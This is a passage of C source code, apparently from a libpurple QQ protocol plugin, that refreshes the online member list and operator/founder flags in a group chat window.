return pstr_to_string(pstr); }
/* refresh online member in group conversation window */ void qq_group_conv_refresh_online_member(PurpleConnection *gc, qq_group *group) { GList *names, *list, *flags; qq_buddy *member; gchar *member_name, *member_uid; PurpleConversation *conv; gint flag; g_return_if_fail(group != NULL); names = NULL; flags = NULL; conv = purple_find_conversation_with_account(PURPLE_CONV_TYPE_CHAT, group->group_name_utf8, purple_connection_get_account(gc)); if (conv != NULL && group->members != NULL) { list = group->members; while (list != NULL) { member = (qq_buddy *) list->data; /* we need unique identifiers for everyone in the chat or else we'll * run into problems with functions like get_cb_real_name from qq.c */ member_name = (member->nickname != NULL && *(member->nickname) != '\0') ? g_strdup_printf("%s (qq-%u)", member->nickname, member->uid) : g_strdup_printf("(qq-%u)", member->uid); member_uid = g_strdup_printf("(qq-%u)", member->uid); flag = 0; /* TYPING to put online above OP and FOUNDER */ if (is_online(member->status)) flag |= (PURPLE_CBFLAGS_TYPING | PURPLE_CBFLAGS_VOICE); if(1 == (member->role & 1)) flag |= PURPLE_CBFLAGS_OP; if(member->uid == group->creator_uid) flag |= PURPLE_CBFLAGS_FOUNDER; if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_name)) { purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv), member_name, flag); } else if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_uid)) { purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv), member_uid, flag); purple_conv_chat_rename_user(PURPLE_CONV_CHAT(conv), member_uid, member_name); } else { /* always put it even offline */ names = g_list_append(names, member_name); flags = g_list_append(flags, GINT_TO_POINTER(flag)); } g_free(member_uid); list = list->next; } purple_conv_chat_add_users(PURPLE_CONV_CHAT(conv), names, NULL, flags, FALSE); } /* clean up names */ while (names != NULL) { member_name = (gchar *) names->data; names = g_list_remove(names, member_name); g_free(member_name); } g_list_free(flags); }